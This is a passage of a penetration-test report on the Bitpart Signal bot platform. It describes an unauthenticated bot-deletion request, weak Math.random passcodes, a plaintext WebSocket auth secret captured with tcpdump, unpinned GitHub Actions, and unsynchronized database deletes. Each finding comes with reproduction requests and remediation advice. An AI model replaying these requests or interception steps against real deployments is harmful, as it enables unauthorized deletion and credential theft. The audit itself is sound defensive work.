1:[{"id":"cmcp8qys000011a040y34ypk2","botType":"broadcast","botName":"bbot","bitpartId":"bbot_cmcp8jpfh00001a3wa05q1rah","phone":"","countryCode":"","name":"Broadcast Bot","description":"Here you'll receive messages about <ADD TOPIC> from <WHO? (OPTIONAL)>. We use this channel so that we are not in a group, which can potentially compromise everyone in the group. We promise not to spam you, but you can leave at any time. If you reply to this number, we won't receive it. So if you want to contact us, please message <ADD SIGNAL USERNAME / EMAIL> who runs this group.", "about":null, "adminPhones":[], "passcode":"HBPY9Z5S", "safetyTips":"","privacyPolicy":null, "faq":[], "activationInstructions":null, "helpInstructions":null, "locations":[], "maxCodes":null, "plans":[], "referral":null, "responseTime":null, "storageAccess":null, "storageTime":null, "problems":[], "vpnName":null, "creatorId":"cmcp8jpfh00001a3wa05q1rah", "createdAt":"$D2025-07-04T20:02:27.501Z", "updatedAt":"$D2025-07-04T20:02:27.501Z"}, ...]
```

The following request-response pair shows that a bot could be deleted by an unauthenticated user if the bot ID is known.

Request:

```
POST /bots HTTP/1.1
Host: audit.bitp.art
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/x-component
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://audit.bitp.art/bots
Next-Action: 7f9e638c91d99089cd24f5ae4dcb8a116cb193b437
Next-Router-State-Tree:
%5B%22%2C%7B%22children%22%3A%5B%22(returning)%22%2C%7B%22children%22%3A%5B%22bots%22%2C%7B%22children%22%3A%5B%
22__PAGE__%22%2C%7B%7D%2C%22%2Fbots%22%2C%22refresh%22%5D%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: text/plain;charset=UTF-8
Content-Length: 45
Origin: https://audit.bitp.art
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

["cmd7isp570001laeuzkn9jwth","asd_undefined"]
```

Response:

```
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Thu, 17 Jul 2025 15:19:51 GMT
Content-Type: text/x-component
Connection: keep-alive
set-cookie: __Host-authjs.csrf-
token=33d019d8150348cf5c8b0234891a9b66bc055b7685025bc4f18229ab8ccb1706%7C9eebafda3ad6db42c11a9fc3e9abf88dbddf41bdd1
b9f663b37a17936e6441e8; Path=/; HttpOnly; Secure; SameSite=Lax
set-cookie: __Secure-authjs.callback-url=https%3A%2F%2Faudit.bitp.art; Path=/; HttpOnly; Secure; SameSite=Lax
Cache-Control: no-store, must-revalidate
x-action-revalidated: [[],0,0]
X-Powered-By: Next.js
Vary: Accept-Encoding
Content-Length: 102

:N1752765591361.8357
0:{"a":"$@1","f":"","b":"development"}
1:D{"time":0.380033016204834}
1:"deleted"
```

Recommended Remediation:

The assessment team recommends ensuring that users are authenticated in order to be able to call server actions.

References:

[A01:2021 – Broken Access Control](#)

[NextJS: Server Actions Authentication](#)

LOW-RISK FINDINGS

L1: Random Number Generator Does Not Produce High Entropy

Description:

Bitpart bots were assigned a passcode at the time of creation. The passcode enables users chatting to the bot to administrate certain bot functionality. For example, chatters who know the passcode for a broadcast bot are allowed to broadcast messages to other chatters subscribed to the bot. However, the passcode was generated with a deterministic random number generator which is known to not provide high entropy.

Impact:

An attacker might be able to predict future values by anticipating the behavior of the deterministic random number generator. Exploiting this vulnerability would involve generating sequences of random bytes in the application until the attacker is able to determine the internal state of the random number generator, after which further random numbers would be predictable. In this case, the attacker could then predict the passcodes used for bots created by other users.

Reproduction:

The following code snippet shows that the JavaScript **Math.random()** function was used to generate passcodes in the file **bitpart-dashboard/app/actions/formatBot.js**, line 32:

```
export const createPasscode = async () => {
  let result = "";
  const length = 8;
  const characters = "ABCDEFGHJKMNPQRSTUVWXYZ123456789";
  const charactersLength = characters.length;
  let counter = 0;
  while (counter < length) {
    result += characters.charAt(Math.floor(Math.random() * charactersLength));
    counter += 1;
  }
  return result;
};
```

Recommended Remediation:

The assessment team recommends using the **crypto.getRandomValues()** function for generating secure random numbers, rather than the **Math.random()** function.

References:

[Bitpart FAQ: What is a passcode?](#)

[Don't use Math.random\(\)](#)

L2: Cleartext Transmission of Security-Relevant Information

Description:

The **Bitpart** system used WebSockets as the communication mechanism between the backend server and the client and dashboard. The WebSocket transmitted data in cleartext, i.e., unencrypted and readable, with no option to add encryption and authentication.

Impact:

A **Bitpart** administrator may run the backend on one host, and the dashboard and client on other hosts. Information traveling in cleartext between these hosts would then be susceptible to Man-in-the-Middle (MitM) attacks, in which data is intercepted by an attacker with access anywhere along the network path between the hosts. An attacker might control a device on the local area network, or at the ISP.

If an attacker were to intercept and modify information submitted by the user or returned by the application, then they could call arbitrary **Bitpart** APIs. This would enable them to get information about all bots running on the server, as well as delete and talk to bots.

Furthermore, cleartext transmission was the only type of data transfer supported by the **Bitpart EMS** application.

Reproduction:

To simulate this attack, a **Bitpart** server was run on all interfaces on port 5000:

```
./bitpart -a YOURLONGSECRETHHERE -b 0.0.0.0:5000 -d blabla -k blabla
Server is running
```

A client connected to the **Bitpart** server and ran the **channel-list** command:

```
$ ./bitpart-cli --auth YOURLONGSECRETHHERE --connect 83.228.205.174:5000 channel-list
Channel: "signal" for Bot: "test_delete_cmcue7ols00021a04wfk8h54"
Channel: "signal" for Bot: "broad4_cmcue90tq00031a044bk5zq2j"
Channel: "signal" for Bot: "broad3_cmcue90tq00031a044bk5zq2j"
Channel: "signal" for Bot: "broad_cmcue90tq00031a044bk5zq2j"
```

Meanwhile, **tcpdump** was running on the **Bitpart** server host to capture network traffic on port 5000.

WebSocket communication was over plaintext, enabling the WebSocket authorization secret header to be captured, displaying all data:

```
$ sudo tcpdump -i any -n port 5000 -s0 -A
tcpdump: data link type LINUX_SLL2
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
18:46:00.638305 lo In IP 127.0.0.1.39346 > 127.0.0.1.5000: Flags [S], seq 4249350671, win 65495, options [mss
65495,sackOK,TS val 3192507251 ecr 0,nop,wscale 7], length 0
E..<F.@.@.....G.....0.....
.I.S.....
18:46:00.638317 lo In IP 127.0.0.1.5000 > 127.0.0.1.39346: Flags [S.], seq 1239873783, ack 4249350672, win
65483, options [mss 65495,sackOK,TS val 3192507251 ecr 3192507251,nop,wscale 7], length 0
E...<F.@.@.....I....G.....0.....
.I.S.I.S....
18:46:00.638327 lo In IP 127.0.0.1.39346 > 127.0.0.1.5000: Flags [.], ack 1, win 512, options [nop,nop,TS val
3192507251 ecr 3192507251], length 0
E..4F.@.@.....G..I.....(.....
.I.S.I.S
18:46:00.638844 lo In IP 127.0.0.1.39346 > 127.0.0.1.5000: Flags [P.], seq 1:189, ack 1, win 512, options
[nop,nop,TS val 3192507252 ecr 3192507251], length 188
E...F.@.@..4.....G..I.....
.I.t.I.sGET /ws HTTP/1.1
Host: 0.0.0.0:5000
Connection: Upgrade
```

```
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: 1KcPi/W0bvRb78CpcvZPrg==
authorization: YOURLONGSECRETHERE
```

Recommended Remediation:

The assessment team recommends protecting security-relevant information such as credentials and session tokens from eavesdropping by using Transport Layer Security (TLS). In this case, the assessment team recommends adding an option to use TLS certificates for HTTPS communication between **Bitpart** components. The **Bitpart** server could print a warning if run on non-localhost interfaces without using TLS.

References:

[Transport Layer Protection Cheat Sheet](#)
[Mozilla Infosec: Transport Layer Security](#)

L3: GitHub Actions Not Pinned to a Hash

Description:

The **Bitpart** service was found to be vulnerable to supply chain attacks, using GitHub actions as an attack vector.

GitHub actions allows the execution of code and workflows automatically when an event occurs. The target services used GitHub actions from an external repository without pinning the actions to a cryptographic hash. Pinning actions to a hash is necessary to guarantee that the action has not been changed by the owner of the repository.

Impact:

An attacker with access to one of the external repositories containing the GitHub actions used by target services may be able to compromise **Bitpart** infrastructure and its customers by adding code through a “backdoor”.

The following GitHub actions workflows were found to be affected:

- bitpart-dashboard/.github/workflows/release_version.yaml
- bitpart-ems/.github/workflows/release_version.yml
- bitpart/.github/workflows/release_version.yaml

Reproduction:

The contents of the file **bitpart/.github/workflows/release_version.yaml**, lines 1-25, show the **awalsh128/cache-apt-pkgs-action** GitHub action was not pinned with a specific hash:

```
name: Release version

on:
  push:
    branches:
      - main

env:
  IMAGE_NAME: bitpart
  IMAGE_REGISTRY: ghcr.io/${{ github.repository_owner }}
  REGISTRY_USER: ${{ github.actor }}
  REGISTRY_PASSWORD: ${{ github.token }}

jobs:
  release_version:
```

```
# if: "startsWith(github.event.head_commit.message, 'bump:')"
runs-on: ubuntu-latest
name: "Bump version, create changelog, and build release artifacts"
steps:
  - name: Check out
    uses: actions/checkout@v4
    with:
      fetch-depth: 0
      token: "${{ secrets.GITHUB_TOKEN }}"
  - name: Install dependencies
    uses: awalsh128/cache-apt-pkgs-action@latest
    with:
      packages: protobuf-compiler
      version: 1.0
```

If the owner of the **cache-apt-pkgs-action** action had their GitHub account compromised, an attacker could push arbitrary changes to the action, which would then be used in **Bitpart's** release workflow. Additionally, the action's GitHub token was set as the **REGISTRY_PASSWORD** environment variable, meaning all external actions had access to it even if it wasn't explicitly provided in the step context.

Recommended Remediation:

The assessment team recommends pinning each GitHub action to a specific SHA hash. Further, the team recommends not setting the **REGISTRY_PASSWORD** as a global environment variable across the file, and only passing the GitHub Token to the necessary steps.

References:

[awalsh128/cache-apt-pkgs-action](#)
[Stealing the job's GITHUB_TOKEN](#)

L4: Unsynchronized Bot Modification and Deletion

Description:

The **Bitpart** system used two separate databases, a PostgreSQL database accessed using Prisma ORM from the web dashboard, and a backend SQLite database. It was possible for data to be modified or deleted in one database and not the other.

Impact:

A user may modify or delete their bot in order to, for example, remove personally identifying information that was accidentally provided. While the bot would appear to be deleted to the user, it still exists on the **Bitpart** backend.

Reproduction:

The following request-response pair shows a user deleting their bot with the ID **cmczh5ei40009lacmgvwxeoy3**.

Request:

```
POST /bots HTTP/1.1
Host: audit.bitp.art
Cookie: __Host-authjs.csrf-
token=fd0c2b11f683d19419e005d7c9907d04d352afc75c2f524aca9bcf6882aecfc4%7Cf7da29a8ad53bb507ae3be481db7bb5679da55920b
64c4bcb5c72048de896766; __Secure-authjs.callback-url=https%3A%2F%2Faudit.bitp.art; __Secure-authjs.session-
token=eyJhbGciOiJkaXIiLCJlbnMiOiJBMjU2Q0JDLUhTNTYiIiwia2lkIjoia3Zxcmg1NWRqODJLMmNrM1NuZlRSa3I3ZWwHNXRPVC1seU9aYjh1a
0hnNEpPSUF4UDRZMGxsTDlyMmJ5TXZFwBmakp1XzZOUjdkZUg5RGZlcnVScQmciFQ..syntNScExz-U-Vqp93qpRA.-
82G4yi1zSk_JIP0eke8ync1W1A--u8-
```

```
nkz8oeQvEl2hyaa_lW6PvU3bx5Wk2mc1YBTzFcQA2z7hbXnxzti71Lm80nfSo_OBefBRIUEF56fz34kgm3ecXQrxwctlvrdrk_H4TjDX91AybdXtLu9W
NQwCj9Zl0Ga7m60X7a3Z57DkH2Pn1P-12c9_wfph6H-ZfuLFE-
tqDHGrYMyN5t53_FCiKx17MFaGGTy5sU6saZM.qioHZxr4UkGXSKoLiX61UmwfcXUGN159dnwek09V3MM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/x-component
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://audit.bitp.art/bots
Next-Action: 7f9e638c91d99089cd24f5ae4dcb8a116cb193b437
Next-Router-State-Tree:
%5B%22%22%2C%7B%22children%22%3A%5B%22(returning)%22%2C%7B%22children%22%3A%5B%22bots%22%2C%7B%22children%22%3A%5B%
22__PAGE__%22%2C%7B%7D%2C%22%2Fbots%22%2C%22refresh%22%5D%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: text/plain;charset=UTF-8
Content-Length: 53
Origin: https://audit.bitp.art
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

["cmczh5ei40009lacmgvwxey3","test_delete_undefined"]
```

Response:

```
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sat, 12 Jul 2025 00:00:25 GMT
Content-Type: text/x-component
Connection: keep-alive
set-cookie: __Secure-authjs.session-
token=eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2Q0JDLUhTNTExIiwia2lkIjoiQ3Zxcmg1NWRRQODJLMmNrM1NuZlRSa3I3ZWwhHNXRPVC1seU9aYjh1a
0hnnEPsUf4UDRZMGxsTDlyMmJ5TXZFWVBmakplXzZ0UjdkZUG5RGZicHVsQmcifQ..uM0rxY2-UBowfDYbQau_Qw.e4zZ3FRusvOGVMfm-9-
B8NxxAwKfIF9XrNDjBOWtGKxReKJXWDi84doNcakoJw-
cNNkpRyVvLzE9PQ2e00oBNbyaKNEN6R5zHbiRGjLUGeC1o6q3320dXyEI5KtJeVQoyPcE2mjU_MQPmtoQvn3M_BhfcZap2M0yE7aFNRAyu4gSK2GfF
71ozQ1hmkjKoucNLAHw1Lh34-umCqpbDj1sd_PeLHct3ZZpVIXa3Fsm8k.-4HTPxto-nR62kNLBQL23EKW1JCNhB5vRiikfZn9avs; Path=/;
Expires=Sat, 12 Jul 2025 01:00:25 GMT; HttpOnly; Secure; SameSite=Lax
Cache-Control: no-store, must-revalidate
x-action-revalidated: [[,0,0]
X-Powered-By: Next.js
Vary: Accept-Encoding
Content-Length: 103

:N1752278425408.8154
0:{"a":"$@1","f":"","b":"development"}
1:D{"time":1.2525020837783813}
1:"deleted"
```

However, when connecting locally using the **bitpart-cli**, the bot was still present:

```
$ ./bitpart-cli --auth YOURLONGSECRETHHERE --connect 127.0.0.1:5000 channel-list
Channel: "signal" for Bot: "asd_cmcue7ols0002la04wfzk8h54"
Channel: "signal" for Bot: "test_delete_cmcue7ols0002la04wfzk8h54"
```

Full bot information could be fetched from the SQLite database:

```
dad18dd3-f58d-4f9b-9050-b0d0910fd826|test_delete_cmcue7ols0002la04wfzk8h54|{"id":"test_delete_cmcue7ols0002la04wfzk8h54","name":"test_delete", [...] }
```

This finding was observed due to line 66 of **bitpart-dashboard/app/actions/deleteBot.js**, where the **botName** parameter was incorrectly specified as the ID parameter for the **DeleteBot** operation. However, this typo is not the root cause, but rather a symptom of the consequences of the two databases, since a failed database update in one of the two databases could also lead to unsynchronized data.

```
export const deleteBot = async (botId, botName) => {
  const jsonDeleteBot = {
    message_type: "DeleteBot",
    data: {
      id: botName,
    },
  };
};

const jsonStringDeleteBot = JSON.stringify(jsonDeleteBot);
```

Recommended Remediation:

First, the team suggests updating the parameter for the delete bot functionality to ensure that bots are deleted by ID. If possible, the assessment team recommends using a single database for the **Bitpart** system to avoid data consistency errors. If that is not possible, the team suggests a technique that involves opening transactions on both databases for data updates, and aborting both transactions if one fails.

References:

[Syncing Databases: How to Do It and Best Practices](#)